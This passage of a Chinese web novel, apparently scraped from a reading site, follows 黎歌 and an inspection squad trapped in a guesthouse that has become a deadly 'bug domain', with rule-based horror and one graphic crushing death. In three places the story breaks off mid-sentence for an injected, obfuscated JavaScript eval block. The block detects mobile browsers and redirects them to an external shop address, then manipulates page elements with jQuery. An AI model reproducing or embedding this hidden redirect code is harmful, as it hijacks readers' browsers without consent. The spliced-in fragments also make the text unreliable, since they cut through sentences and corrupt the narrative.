年久失修的灯十分昏暗,大门随处都是发霉的痕迹。黑衣人上前敲门。 “有人吗?住宿。”敲了几声,里面无人答应,门倒是咯吱一声开了。 黎歌被挤在中间,跟着进去。 门正对着酒店的前台,黑色的桌子高约一米六左右,上面赫然盛放着一颗人头,人头还对着他们咧着嘴微笑。 黑衣人们倒吸一口冷气:“什么鬼东西?” 人头开口:“欢迎光临温馨民宿,各位长官,今晚有好运哦,酒店全是空房间!” 说着话,人头从前台里走了出来。 是个大概一米六高的女孩,模样稚气,年纪估计在十三四岁左右。穿着居家白色睡衣,大晚上头发贴着头皮绑着,精神奕奕地背着手笑着欢迎他们:“我叫小莲,是民宿的员工。” 黎歌:“……”一个大活人非要大半夜这么吓人吗? 其他黑衣人也如释重负松了口气。 “我们温馨民宿是附近一带评分最好的民宿,干净,卫生,没有靠近马路的边房,所以特别安静。住宿是按人头收费的,每人80贡献点。” “每层有7个房间,其中有一间是杂物室。你们有……22个人,可以住1-3楼,多出来的两位跟我去四楼。” 小莲稚气地介绍道。 “我选四楼,002号跟我一起,你们自便。夜里保持警惕,有什么风吹草动第一时间内部告警。”寒兔三下五除二做了决定。 黎歌没什么好说的,她猜到了寒兔一定会看着她。 民宿的入驻手续很简单,只需要扫一下通讯器,识别入住人身份后即可入住。黑衣人们有些可能不是第一次来了,轻车熟路自己走了进去。 “我要最里面那间,那个吹浴接头大,吹得特别干净。” “先到先得!” 最后一个办理的是黎歌的手续,扣的是寒兔的贡献点。 看来稽查部当差是舒服,报销手续很齐全。 “四楼的门锁上了,两位稍等,一会儿我领你们上去,给你们开门。”小莲笑容满面道。 闻言,黎歌和寒兔便在前台稍稍等了等。 本来以为小莲要去取钥匙,奇怪的是她一直站在前台旁边,两只眼睛直勾勾地盯着民宿大门,动也不动。 寒兔不耐烦了:“好了吗?困死了。” 小莲回过神来,机械地转头面向她们:“长官,只有你们吗?后面没有人了吗?” 寒兔本来就没耐心,这会儿被问得更烦躁了:“今晚够你挣了,赶紧带路。” 小莲不好意思地挠了挠头道:“好吧,我总觉得还有人答应了我会来,算时间早就该到了。可能是我记错了。” “现在就领二位上楼!” 民宿内部跟外面一样,很狭窄。房间门隔着1米宽的过道,只能容下一个人走。小莲在最前面带路,黎歌走在中间,寒兔断后。 墙纸是昏黄色,古旧的楼梯踩着咯吱作响。从三楼往四楼而去的拐角处,光顾着看楼梯,抬眼就看到墙上长出了一张脸。 寒兔惊道:“谁!” 小莲忙道:“这是我们老板的照片。” 还真是相框……照片里是位老人,头发稀疏,有点酒糟鼻,双目无神地看着摄影师,抿着的下巴看着像是个凌厉性子。 三人继续往上走。 小莲一边走一边介绍。 “四楼有七个房间,其中一间是储物间,储物间的门上锁了拧不开。” “除了你们以外,我也会住在四楼,还有我的老板,就是刚才照片里那位。我的老板今年52岁了,有点耳背,还梦游。如果半夜有人敲你们的房间门,敲了两声,多半是他,请不要给他开门。” “如果发现他梦游了,请拉一下你们床头的拉绳,我会过来接他。” “如果房间门只响了一声,说明敲门的人是我,请给我开门。” “卫生间在走廊的尽头,记住不要走错了。如果房间门拧不开,请立刻放弃,那是储物间。” “一般情况下,我不会离开房间。如果你们在走廊看到了我,不要跟我说话。” “房东在梦游的时候不吃东西,如果发现他在吃东西,说明他没有梦游。这时候立刻回房间休息就好了。” “楼上还有个住客,叫做张凡。张凡半夜不会发出动静,不会在半夜玩弹珠,请二位放心。” 小莲介绍了一堆,黎歌越听越觉得古怪。 这是正常入住民宿时会介绍的内容吗? 哈欠声从身后传来,寒兔显然没有太认真听进去这些弯弯绕绕的注意事项。 四楼跟楼下三层都不太一样,多了一扇大门,通常情况 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黎歌摸了下床和被子,发现意外得松软干净,怪不得六队的人会怀念这个民宿,这么软的被窝足够睡个好觉,刚才黎歌还以为,它唯一的优点就是值80贡献点。 顺便在床头看到了小莲提到的绳子。绳子沿着墙往上,钻进了墙洞里,估计都汇总到了小莲的房间,一个十三四岁的小姑娘还得照顾梦游的老板,是挺不容易的。 这会儿黎歌没有着急去睡,她隔着墙,听寒兔那边的动静,听到吹浴头出气的声音。预估至少这段时间,她不会被打扰。 抓住机会,黎歌比了个七的手势。 几乎在一瞬间,黑洞就如预期般出现在她正前方。黑洞的停留时间在2秒,黎歌穿过去,抬头便又回到了补给室。 齐观正搂着个椅子坐着,见到她,立刻高兴地跳了起来。 “回……来。” “我回来了。”黎歌道。对于齐观会选择补给室作为落脚点,多少还是有点惊讶。她环顾一周,更惊讶的是,齐观把补给室内的血迹都清理干净了,顺道把自己也收拾了下,脸上没有太多污垢,发型也讲究地捋了回去。 脑子是磕坏了,纯靠骨子里爱干净。 黎歌从工装裤里掏出了营养剂,放在了桌上:“答应了你,要给你带食物。你省着点吃,我最近不太自由,下一趟不知道什么时候能回来。” 齐观眉开眼笑,随手拿了一个叼在嘴里。黎歌注意到他的眼神还是粘在她身上,道:“现在不用看着我,一会儿也不用,去睡觉吧。” 说完她便一个人离开了补给室,朝种植区走去。 九章死的时候给的那些奖励,她还有没有验算下真伪。 【已加载权限,你可以自由地操控每一只鼠虫。】 眼前展开了一片网络,跟虫巢看到的不一样,虫巢能力看得很具体,而现在的精神操纵却能看到任意一只鼠虫在基地里的视角。 这就是九章的视角。 她进入种植区,来到了先前那颗蘑菇的标记点。土壤的湿度可谓为0,对于这片土地能不能再种出蘑菇来,黎歌没有把握。所以她要扩大搜索面积。 “我要你们在全基地搜索种植区,找到蘑菇后汇报。” 原本在角落、洞中、操纵室等等区域来往觅食的鼠虫,不约而同地站起身来。同样的指令进入了他们的脑电波,在接收完指令后,立刻恢复了爬行的姿势,有秩序地往不同地方向而去。 算时间寒兔差不多洗完澡了,以防被发现齐观的能力,黎歌不能耽搁太久,让齐观又给她送了回去。 房间静谧如初,寒兔那边洗澡的声音恰到好处地停了。 不一会儿,黎歌的房间门就响了起来。 “笃,笃。” 神经,不需要看这么紧吧?黎歌不愿跟暴躁兔子半夜再有争吵,干脆不回,进入了吹浴间。 她试着拧开开关阀——小小一点,一阵风从里面吹了出来。 啊,原来是这样。废土的水资源太珍贵,洗澡恐怕是十分奢侈的事,所以改用风吹。 任这阵风吹了一会儿,呼呼风声中,门外又传来了敲门声:“笃,笃。” 黎歌关上了阀门。 不对。 寒兔不会这么客气且耐心地等她回应。 小莲提起过,民宿老板有梦游症,半夜会乱敲房门,敲两声,代表是民宿老板本人。 这时候,可以通过床头的拉绳,通知小莲过来接人。 要通知吗? 黎歌把被风吹散的长发向后拨去,将架子上的绿玫瑰方巾绑了回去,一边绑着,一边往床边走。 外面的人影从门缝里投进来。门外确实站着一个人,从影子来看是短发,所以可以排除掉寒兔和小莲。 敏锐的听觉捕捉着隔着一扇门的呼吸声,好苦的声音,白天的时候,黎歌刚刚听过同样的苦味。 什么梦游。 这分明是死亡的声音。 但是,在什么情况下,人已经死亡了,却还能呼吸呢? 32. 温馨民宿02 【你已开启虫巢:温馨民宿前台】 【你已开启虫巢:温馨民宿四楼2室】 【支线任务一:敏锐如你,温馨民宿发生进化事件,虫域已初步形成。请找到虫巢的阿尔法基因,并夺取基因,进度5%。】 【支线任务二:逃离温馨民宿,进度5%。】 骨文出现在脑海,虫巢被动开启。先前在荒漠和车站的时候,虫巢一直处于安静状态,前后对比来看,说明虫巢天赋只有在虫域内会触发。这也直接印证了黎歌的想法——外面的房东恐怕已经“虫”化了。 方小说不同的城市危险等级不同,这个等级该不会就是“虫化”的概率吧?隍市果然很危险。 这次又是什么虫,可以操控人敲门,感觉比丧尸鼠病毒要更加高级些,还能保留住人的意识。 “笃笃。”敲门声加急了,房东没有说话,只是一味地敲门。 白绳在黎歌眼前轻轻晃荡,黎歌直接错过了它。 拉是不可能拉的,既然房东有问题,小莲恐怕也不值得信任,四楼就那么点大,走廊宽度不过1米,什么敲门声不能把她喊起来,非要拉绳呢? 她紧急清点了下身上的武器。民宿很窄,充能枪容易发生弹道弹射误伤自己,最好不用,这样一来,只剩钢刀了。 她又试着召唤齐观——这次,对方没有反应。刚才她通知了齐观去休息,齐观的表现一直很听话,已经睡着了。算起来,他这段时间很可能没怎么合眼,因为被她薅得有点猛了。现在的情况意味着她暂时不能借黑洞逃离这里。 “笃笃。”敲门声又响了起来,这次,是从隔壁传来的声音。门框下的人影消失了,房东去敲了寒兔的门。 糟糕!她不会蠢到拉绳吧? “滚!”寒兔的骂声透过薄墙传来过来。差点忘了,她根本没有在听小莲说话的内容。 紧跟着黎歌听到一阵刺耳的金属器械摩擦声,可以想象,以寒兔的暴脾气,很可能她动用了她锋利的金属腿。那端又传来骂:“墙壁有古怪,拆不动。” 其他人的声音响了起来:“队长,这里是一楼,我遇到了同样的情况,枪打在墙上连灰都打不下来。” “队长,二楼墙壁合金拳头也不凑效。” 这群人第一时间不是去开门,而是想打穿墙壁——毕竟目的是出去,就别管走哪个门了。确实是经验老道的一群人。 通讯器应该是不支持语音的,除非他们在用内部频道在通话。 “队长,确认虫域已形成,监测为D级虫域。目前来源不明,只能从内部突破了。要不要报给上级,或者通知隍市的分队来支援?” “可是今天是神降日,按规定夜里不允许外出,隍市的分队不可能会配合。队长,虫域刚刚形成,还不稳定,这里是一楼,我先去探下大门口的情况。” 寒兔“嗯”了一声。 对面传来了“嘎吱”的开门声,他继续播报道:“我已经离开房间,来到了走廊。前台没有人看着……我在桌上看到了民宿近期的入住纪录,查看到这里已经2个月没有营业了。民宿一共住着三个人,房东李杰,以及两个短租租客小莲和张凡。” “我查了下内部档案。李杰,祝福者,祝福为力士,曾经极限举重重量300公斤。职业临时工。他身份有点特殊,是少数在第一基地出生并唯一活下来的人虫,30年前我们撤离基地时,兵团没有对他启动第一监禁,风城的监护人收养了他。近几年年纪越来越大,贡献值降低,前年被监护人弃养,来到了隍市边缘开了这家温馨民宿。收入主要来源是民宿和黑市低买高卖交易。” “小莲,祝福者,祝福为线。职业巫祝。人虫年龄13岁,三个月前靠着队友通过了人虫教室考试,没有出彩的表现所以没有监护人愿意收养,靠在温馨民宿打工换取食物。” “张凡,内部系统记录着200个张凡,暂不确定是哪一个。” 对面查完资料,道:“队长,除去张凡,另外两位都构不成威胁,虫域大概率是无法地带的某个进化种入侵造成的。我现在去试着开门,看能不能出去。” 有人紧接着发言:“怕是没那么简单,我也在一楼,我马上出来。” 两道拧门锁的声音透过墙壁传了过来。 刚才发言那个黑衣人问话:“嗯?你这么快出去了吗?怎么没看到你人?” 与此同时,倒吸冷气的声音传了过来,是最早出去的那位的声音,一改先前的淡定,开始恐慌了:“我,队长,门外是房间,我,我的衣服丢在床上,这分明就是我刚刚离开的房间!” 黑衣人的讨论声开始混乱起来。 黎歌叹了一口气。这个结果她预料到了。 因为她刚才用虫巢查看了前台。 她没有看到任何人从房间里出来。 而通讯器那端的人却煞有其事“看”到了入住记录,并且去开了“大门”。 “我再试试!”那人不信邪,只听见他这回动作快了许多,奔跑和喘气声传了过来,开门声过后,又是如法炮制的惊呼。 尝试了大约七八次以后,他的声音带上了哭腔:“队长,我找不到出口,而且,我的房间好像在缩小。” “我坐在床上,这扇墙在把床往对面推,我听到地板摩擦的声音……你们听不到吗?” “空间越来越窄了,现在,四扇墙卡在了我的床的四周。队长,我该怎么办,我开门逃出去,可是又从同一个门回来了。” 木头被卡裂的声音清晰地传了过来,他完完全全不冷静了:“床被夹碎了,我马上要被夹碎了,我没有地方可以逃,它想压扁我,它想吃了我,我现在用两只手撑着墙壁,我的腕力强化可以打穿一面墙,但是我根本阻止不了它。我撑不住。救救我队长,你们谁来救救我。” “……我的头被卡住了,后背的墙将我往前推,前面的墙又追了过来。我听到自己的脑壳被挤压发出了声响……救我……我害怕……太痛了,我呼吸不上来了,呼,呼,啊——” 声音传入黎歌的耳朵,全身寒毛起立!这是一场持续了一分多钟的折磨,在他咽气之后,骨头被碾碎,扎入血肉和脾脏当中的声音清晰无比的传过来,直到通讯器被碾碎,全程仿佛置身其中,黎歌忘了呼吸,差点一口气没有缓过来! 其他人也掩不住害怕了:“……我就在他隔壁,但是墙壁并没有动,队长,他是不是被精神污染了?” “蠢货,精神污染字面意义就是精神问题,刚才的动静,所有人清清楚楚听到了,这只能是实际发生的。”墙对面,寒兔的声音更加不耐烦了,“你们每个人都注射了精神强化剂,除非这是A级虫域,这么短的时间绝对不可能精神崩溃。” “队长!新的监测结果出来了,虫域等级更新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791553|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为C级!队长,我们报给上级吧?再不报就来不及了,虫域会干扰通讯器的弱信号!” “不准报。都别开门,先待在房间里,这个民宿有问题。”寒兔骂道。 “可是队长,我,我还在走廊里,我能能能回去吗?会不会我一回去也会被碾成碎片?谁的房间让我挤一挤,我我不能去开大门。” “别敲我门啊兄弟!” 一片混乱。 这个所谓第六支队二十个经验丰富的黑衣人,统统被困在了各自的房间里不敢动弹。 黎歌焦躁地在房间里来回踱步,这些人里,最焦虑的应该是她才对!别说对民宿一无所知了,隍市也是第一次来,现在手里一点信息都没有,整个人处于束手无策的状态。 还好刚才没有给房东开门,不然,可能下一个被压扁的就是她。 通讯器突然弹出了消息。 【不周山:分享帖子《聊一聊人虫猎人——稽查队第六支队队长寒兔》】 【不周山:从这个入口进暗网,链接是一次性的,时效性仅持续5分钟,想看什么信息就取决于你自己了。】 【不周山:不需要花时间去查第一监禁,你不可能在网上找到任何信息,原因在一开始我就跟你说了,体验过的人虫都死了。】 【咕咕:出状况了,隍市有虫域,我被困住了。地点挨着无法地带,叫温馨民宿。】 黎歌火速回复信息,抢着5分钟的时间点进了链接。 通讯器又传来了振动,周远泽回了几条消息,但她来不及看了,远水救不了近火,只能指望暗网里有她要的信息。 他们果然藏着一套传递信息的方法。 暗网的界面是深紫色的。 黎歌一目十行扫过寒兔的帖子,跳过所有情绪用词包括谩骂、侮辱和看起来无凭无据的故事,直接提炼出关键词。 姓名:寒兔 身份:稽查队第六支队队长 基因检测: 【精神值:110】 【运气值:70】 【智力值:80】 【战力值:200】 职业:临时工 基因改造:阿尔法兔基因注射 身体改造:完成股骨、胫骨、腓骨、髌骨全金属改造,并匹配改造腿部肌肉,堪称稽查队战力最完美的一双腿。 战绩:曾经作为清剿队一员,单刷B级稳态虫域5次,参与A级虫域3次,个人贡献点达500万。加入稽查队成为队长后,直接向兵团干部汇报,经手全是高保密任务。 经历:人虫计划反对派,认为人虫教室是培养废物人虫的温床、没用的细菌皿。大量虐杀人虫,一度造成2期人虫教室16名合格人虫全员死亡。一年前晋升稽查队后才有所收敛。 危险性:A级 此时,薄墙的那头,寒兔冰冷的声音穿透过来。 “无论如何,你们任何一个人不允许上报这个虫域的存在。直觉告诉我,002号未来会成长为极其危险的人物,一旦她通过了第一监禁,当年第一基地人虫屠杀人类的惨案会再度上演。” “为了维护人类的绝对利益,我要在这里杀了她。通讯器信号一断就动手。没有比虫域更加私密的屠宰场了,呵呵,我很喜欢。” 黎歌脸色沉了下来。 糟糕。 两面夹击。 33. 温馨民宿03 200的战力值,能把人拦腰剃成两截的锋利合金腿,跟寒兔正面冲突几乎没有胜算。 冷静。冷静冷静冷静冷静…… 黎歌的左手食指不自觉地在通讯器背部飞速地敲击者,另一只手划帖子的速度更快了。 寒兔说要杀她,但寒兔拿这扇墙壁无可奈何,而且在还没有摸透规律之前,她不会轻易去开门,现在自己暂时是安全的。 现在,谁先掌握温馨民宿的规律,谁就会是处于上风的人。 暗网帖子的数量精简了许多,可能因为跟链入时间受限有关,所有人很珍惜机会,基本没有水帖和娱乐帖,而且标题即内容。 在一个标题前,黎歌停住了。 《人,人虫?夹在裂缝中的悲剧——他叫李杰》 死掉的那个第六支队队员说过,温馨民宿的老板名字叫做李杰。 黎歌立刻点进了帖子。 【各位人虫们好,最近我在隍市认识了一位人虫,我敢打包票,他会是现在活着的人虫当中最最特殊的一位。在多方求证后,我整理了资料,在这里把他的故事发出来,希望各位引以为戒……】 【李杰的特殊,不在于他的祝福强大与否。52年前,有一对人虫在基地内相识相恋,作为爱的结晶,他是唯一在基地出生的人虫。】 【简单地说,有别于在座每一位,他对穿越前21世纪的生活、文化没有任何的概念,没有经历过九年制义务教育,不知道什么叫法制社会。他在基地诞生,在他的世界观里,人虫是罪恶的、下等的,绝对信奉原住民的“弱小即原罪论”。精神上他更像是原住民。他在基地长大,活到了22岁,直到迎来那场血腥“鼠疫”。无法得知这22年内他是如何生存,是否有父母相伴,但性格是每个人虫生活的集合,他是个性格古怪、孤僻、冷漠的老头,我猜想,他的童年和青年期并不好过。】 【30年前,他被风城的监护人收养。这里给新来的人虫科普下,在鼠疫事件之后,原住民对人虫的信任将至冰点,我来废土5年,接触的人虫不在少数,根据我的调研,当时人虫遭到了原住民灭绝式屠杀,他是唯一的幸存者,我想,一定程度是他尴尬的身份救了他。】 【原住民必定对他抱有过期待,很可惜,他的祝福非常平庸,甚至没有挣到兑换不老基因的贡献点,以正常的速度衰老了。】 【他到底属于哪一派呢?原住民?他流的是人虫的血液。人虫?他又从未受过人虫的教诲。他是夹在世界裂缝中彻头彻尾的悲剧。】 【他被赶到了隍市,现在靠一家民宿为生,名叫温馨民宿,地点在隍市边城区。我住过几天,他人虽然冷漠,但床铺意外得柔软,我的睡眠质量从来没有这么好过。同样的民宿收费888,而只要80贡献点,你就可以在温馨民宿住上一晚……】 黎歌:“……” 我看你老实才点进来看帖子的! 【抱歉,这不是带货帖,当然,我确实存了私心希望人虫们可以支持下老头的生意。他最近在黑市淘了些东西,有兴趣的也可以联络他交换。】 【之所以发出这个帖子,也是想要警醒各位。我知道有一部分人虫已经放弃了回家的信念,你们不具备下虫域的能力,挣扎在温饱线,每天一睁眼都被迫面对这绝望的废土世界。所以你们需要堕落和性来发泄一切不如意。但是,请大家保持最后的理智。】 【那就是,不要把孩子带到这个绝望的世界里来。】 通常这种说教类言辞都会带来负面效果,但黎歌看到了意想不到的评论区。 【对不起对不起对不起,我今天杀人了,我真的太饿了。我好想回家啊……但是回去后我还会是那个受人尊敬的律师吗?我的神,请你宽恕我所有的罪恶。】 【想我的小狗,想我的发小,想小区门口总爱多加一勺糖的豆浆摊子。我不会在这里生育了,我也失去了爱人的能力……我不敢跟任何人虫说,其实我还是想回家……我好想家啊……】 【我以前从没有想过,我那些稀松又普通的日子,也是闪闪发光的。有人无条件爱我,而我也无条件爱着其他人。这半年的恐怖生活都是靠回忆撑下来的,李杰却在这个地狱里生活了52年。52年啊……如果救世主真的存在,为什么还不来?】 【……】 现在不是感性的时候,黎歌冷静地快速划过这些酸楚,抠出有效信息来。 【他最近在黑市淘了些东西……】 【李杰在废土生活这么久,眼光其实不错。他低价买了一包蛇域带出来的土,高价卖给了一个农民职业的人虫,靠这笔钱买下了一栋居民楼——也就是帖子说的温馨民宿。打听到他又买了蝶域、蝎域、獴域、雀域的东西,在隍市的人虫感兴趣可以去淘一淘。】 【别洗了。他30年间也杀了不少人虫,我朋友的一个旧友不过一句话没说对,就被他用拳头砸死了。现在的下场纯属活该。】 【我是消防员,虽然不合适这么说,但还是忍不住提醒大家,尽量少住温馨民宿。我去看过,它是住宅改造民宿,根本过不了消防标准,走廊间距1米,没有设置逃生通道,没有窗户,整栋楼就只有楼下大门和五楼天台两个进出口——非把天台也算上的话。当然,我知道这里的治安局根本不管消防,他们连人虫的死活都不管……生活的安全只能靠自己多加注意了,有时候威胁生命的可能不是原住民、人虫或变种,可能就是简单的一场大火。】 【温馨民宿是倒闭了吗?我就住附近,有两个月没见着老头了。不想上门问,他脸臭臭的,性格很古怪,附近的人虫都不喜欢他。而且稽查部的长官喜欢照顾他的生意,跟兵团有关系的能是什么好东西?】 抓到了一点点线索,但还不够多。 时间还剩下大约2分钟。 《科普帖:虫域的形成》 【很多人虫对于虫域的了解非常不够,这是极其危险的。以下是我通过一些渠道打听来的兵团内部资料。暗网会不定期清理帖子,我会用尽量简洁的语言,请有暗网权限的人虫们背诵、复写,在线下各个城市的人虫圈子里科普传递。】 【先解答下:进化是生存唯一的手段,生物的进化具备基因入侵性质,蚂蚁可以吞噬大象基因,水熊虫可以吞噬蝙蝠鱼基因,进化不存在隔离。】 【虫域的形成大体可以分为三个阶段。入侵期,变种疯狂吞噬和进化,进化持续时间可长可短,这也是消灭它们的最佳时期。催熟期,变种释放虫雾,将生物习性植入每一只新成员。成熟期,变种中出现最强基因,称之为阿尔法基因,阿尔法基因对虫域内的一切生物有绝对的支配权。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797493|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【阿尔法基因的诞生,意味着虫域形成。】 【所以,虫域常常囊括一个或者多个物种,但物种复杂程度与虫域的等级无直接相关性。】 【完毕。】 还在翻找线索,但时间一到,链接直接消失了! 黎歌在房间正中央蹲了下来,头埋在了膝盖里。 消化下,捋一捋。 她打开了周远泽的信息。 【不周山:…………为什么是温馨民宿,那里和无法地带还隔着一片居民区,如果是变种入侵,也应该是其他地方先出事。】 【不周山:失算了,我以为它相对更安全!民宿里有个叫小莲的孩子,我把她送过去的,帮我救她出来。】 【不周山:她的祝福是线,除了能翻花绳毫无用处,基本没有自保能力。如果她还活着,麻烦救救她,002号,只要她能活下来,贡献值随你开。】 【不周山:今天是隍市神降日,字面意思,神会降临,神集毁灭和拯救于一体,没有人敢赌自己会不会被毁灭。所以,不会有任何外力来支援你们,我会帮你祈祷神不是刚好降临在边城。靠,这都什么跟什么……002号,你运气值也差得太可怕了!】 人身攻击! 【咕咕:张凡也是你送来的?他是谁,祝福能力是什么?】 【不周山:张凡是谁?温馨民宿只有李杰一个人虫在经营,没有其他人虫。对了,你小心寒兔,她是典型原住民,性格非常独断而且仇视人虫,信息都在我给你的帖子里了。总之别信任她。】 【咕咕:蝶域、蝎域、獴域、雀域,民宿的房间会缩小,直到把人压碎,这四个虫域哪个更有可能造成这种后果?(发送失败)】 让我多问一句!!! 这个信息很重要,破解不了,我得死在这里了!!! 黎歌飞速又发了好几条信息,无一例外都显示发送失败。通讯器右上角不停地转圈,信号断了。 这就是44点运气值的威力。 下辈子,想当气运之子。 同一时间,薄墙的对面传来了满足的笑声:“哦呀,信号断了。002号,别装了,我知道你全都听见了。有什么遗言吗?” 黎歌站直了身子。唉,腿有点麻了。输人不输阵,黎歌嘴硬道:“我一路都在想怎么下手,你跟我想到一块去了。没猜错的话,你是临时工?” “是又怎么样,问这个做什么?” “你的床边是不是有根绳子,就不好奇是什么吗?可以拉一拉试试看。” “……你怎么知道?” “我是欺诈师,我什么都知道。” 黎歌乱七八糟说了一通,寒兔噤声了。寒兔不了解她的祝福,利用这点,前期可以忽悠她一阵子。 现在她拿到了一点信息,而且比起寒兔,她还有一项优势——那就是她记下了小莲说的话。 如果只是单纯得想把他们这群人当成进化肥料吞噬掉,没必要多此一举。所以小莲应该在那些规则里藏了信息。 “笃,笃。”黎歌的门底下,李杰的影子再次投了进来。 她眯起了眼睛——不是错觉,李杰的影子发生了一些改变,他的肚子好像变大了一点点。 她将视线再度转移回床边的绳子上。 要不要拉? 34. 温馨民宿04 这时,薄墙那头的通讯器传来声音:“队长,我的床头也有绳子,我觉得002号在装神弄鬼,不用怕她,我刚刚尝试拉了下,什么事都没有发生!” “我房里也有。” “我也有。” “是啊,队长,我在这里住过两次,床前一直挂着这个东西。我何止扯过,我还剪断过一次,一点异常都没有发生过。” 充满怒气的呼吸声响起,寒兔在对面暴躁道:“你敢耍我?!” 此时,嘈杂的人声中夹着一个短促的声音。 “笃。” 那端传来了稚气的问候,是小莲的声音:“你好,我收到了你的房间发出的讯号,但我没有在门口看到房东。请问,我的房东是在你房间里面吗?” 寒兔:“……” 黎歌有种下雨被送伞的快乐,在她犹豫不决的时候,居然有人承担起了实验小老鼠的角色。 第四条规则是真的,如果门被敲响一声,小莲会来。 那人隔着门跟她对话:“小莲,你们民宿出事了你知道吗?现在这里已经是虫域了,你快告诉我们出去的路!” 小莲声音有点急了:“大哥哥,你说的是真的吗?虫域不好,虫域太危险了。所以,我房东是在你房间里吗?我来接他了。” “……他,他不在。” “笃。” 小莲又敲了一声,语气着急道,“大哥哥,我房东是不是在你房间里?很晚了,他不能留在你的房间,快开门让我进去接他吧?” “他不在!” “可是你拉了绳子啊,你拉了绳子,就代表他一定在你房间门口,我在门口没有看见他,那么,他一定是在里面的呀!”小莲开始持续不断地敲门,动静把门框敲得直作响,“我的房东是在你房间里面对吗?” “快给我开门吧,我来接他了,你想要跟他住一个房间吗?我不认为这是个好主意,今晚他不能留在你的房间。” 她开始拍门,不一会儿,又拧起了把手 金属咯吱咯吱的响声,那人开始害怕了:“她疯了,她一定是疯了。” 寒兔出声:“慌什么!你的枪呢,她打开你的门,你就直接开枪!” “枪……对!”队员慌慌张张跑起来,喘息里有了些喜悦。 可以猜到,他应该做好了射击的准备。 门口的小莲已经不耐烦了,稚气的声音同样喜悦道:“我想起来了,你房间里还有一道门!” 队员发出了男高音。 “啊!这,这是什么东西的?为什么那么多眼睛?” “你是怎么进来的!” “啊,啊——” 第二个死者。 黎歌打了个寒颤,那稚气的声音穿透力太强了,仔细一听,这声音不止是从通讯器那头传来的,而且,就在她的正下方。 “笃,笃。”门外,梦游的李杰还在敲门。 黎歌一咬牙。 她必须冒一次险。 她伸手拉动了床边的绳子。 轻飘飘悬着的绳子,在拉下的时候,却能够感受到对面紧紧拴着什么,而握在手里的质感,比普通的绳子要更加柔软细腻许多,像蚕宝宝刚刚吐出来似的。 绳子被拉动三秒不到,李杰的影子从她门口消失了,朝走廊深处的方向走去。 等下!黎歌差点喊出声,硬是把声音吞了回去。隔墙有耳,她不能暴露自己的行动。 你倒是回来啊! 你走了,等等小莲来了抓谁?抓我吗? 赌错了吗?黎歌只是觉得不能再在房间里坐以待毙下去,必须要改变一下被动的情况。现在剩二十人,各自被困在小小的茧房里不敢有举动,而房间里是绝对安全的吗?她不这么认为。 虫域试图给所有人造成了错觉——轻易开门会死,所以要好好待在房间内。可这里是虫域,不是安全屋,不存在绝对意义的安全。 仔细算一算,小莲的8个规则里,有4条的视角都在房间之外。2次提及的储物间,以及2个特殊情况——遇到梦游的房东则回房休息;在走廊遇见小莲,不能跟她说话。所以离开房间并不会死,只是怎么离开的问题。 既然小莲在找房东,她为什么不顺势暴露他的位置呢?跟死去的队员不同,房东确确实实在她门口。 但黎歌没算到他居然在这时候选择走开! 这下情况不是跟刚才死去的队员面临的一样了吗? 来不及了,不一会儿,门口飘进了一道瘦瘦的影子,紧跟着黎歌的门被敲响了。 “笃。” 原本还在楼下的小莲出现在了门口。在走楼梯的情况下,她至少要两分钟才能走到,可现在时间不过短短十几秒,速度快得像穿过地板上来似的! 声音第一时间激起了薄墙那头通讯器里的动静。 “队长,怎么像是你那里的动静?她找你去了?” “不是我,”寒兔在对面冷笑道,“是找002号。” “……她不会骗完我们扯绳,自己也蠢得扯了扯吧?” “七仔死得不孤单,马上就有伴了!” “不是说她是欺诈师,智力测出来溢出了150多吗?150多的智力值就干这点蠢事?想不通这种脑子凭什么可以炸掉两间人虫教室。” 对面叽里咕噜的,把队友死了的怨气都发泄在了她身上。 但黎歌没空搭理了。 稚气的问候在门口响了起来:“你好,我收到了你的房间发出的讯号,但我没有在门口看到房东。请问,我的房东是在你房间里面吗?” “刚才还在,5秒钟之前往左边走了。你没有看到他吗?”黎歌咬牙。 “没有呢,会不会是你看错了?”影子歪起了头,“房东真的不在你房间里面吗?” 黎歌深吸一口气。 她快步朝门口走过去,一把拧开了门把手。 门口,还是那个天真无邪模样的小莲。 顶着紧张到要跳出来的心跳,黎歌拉开门以后让出了位置,朝屋内强装淡定地指了指:“你看,我房间里只有我一个人。他刚才还在我门口,会不会是你暴露了行动,把他吓跑了呢?” 小莲扫视了一圈,确认没有看到人影。 她的杏眼哀伤地垂了下来:“好吧,可能我又被他发现了。可他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804381|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今晚真的不能离开房间,孩子要出生了,大家都很担心。” “谁的孩子要出生了?” 